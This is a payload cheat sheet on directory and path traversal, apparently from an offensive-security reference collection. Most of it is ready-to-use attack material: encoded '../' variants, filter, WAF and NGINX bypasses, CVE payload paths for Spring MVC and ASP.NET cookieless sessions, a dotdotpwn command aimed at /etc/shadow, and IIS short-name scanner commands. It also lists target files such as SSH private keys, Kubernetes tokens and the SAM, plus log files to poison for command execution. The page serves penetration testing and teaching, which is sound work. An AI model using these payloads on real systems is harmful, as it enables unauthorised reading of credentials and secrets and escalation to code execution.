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Directory Traversal

Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.

Summary

Tools

  • wireghoul/dotdotpwn - The Directory Traversal Fuzzer 
    perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b

Methodology

We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass "../" replaced by ""

Sometimes you encounter a WAF which remove the ../ characters from the strings, just duplicate them.

..././
...\.\

Bypass "../" with ";"

..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt

Double URL encoding

. = %252e
/ = %252f
\ = %255c

e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

UNC Bypass

An attacker can inject a Windows UNC share ('\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file.

\\localhost\c$\windows\win.ini

NGINX/ALB Bypass

NGINX in certain configurations and ALB can block traversal attacks in the route, For example: http://nginx-server/../../ will return a 400 bad request.

To bypass this behaviour just add forward slashes in front of the url: http://nginx-server////////../../

ASP NET Cookieless Bypass

When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.

For example, a typical URL might be transformed from: http://example.com/page.aspx to something like: http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx. The value within (S(...)) is the Session ID.

.NET Version URI
V1.0, V1.1 /(XXXXXXXX)/
V2.0+ /(S(XXXXXXXX))/
V2.0+ /(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+ ...

We can use this behavior to bypass filtered URLs.

  • If your application is in the main folder 

    /(S(X))/
/(Y(Z))/
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
/(S(X))/admin/(S(X))/main.aspx
/(S(x))/b/(S(x))in/Navigator.dll

  • If your application is in a subfolder 

    /MyApp/(S(X))/
/admin/(S(X))/main.aspx
/admin/Foobar/(S(X))/../(S(X))/main.aspx

CVE Payload
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx
- /WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
- /WebForm/b/(S(X))in/target2.aspx/(S(X))/

IIS Short Name

java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'

Java Bypass

Bypass Java's URL protocol

url:file:///etc/passwd
url:http://127.0.0.1:8080

Path Traversal

Interesting Linux files

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Interesting Windows files

Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside...

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt

Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

The following log files are controllable and can be included with an evil payload to achieve a command execution

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

Labs

References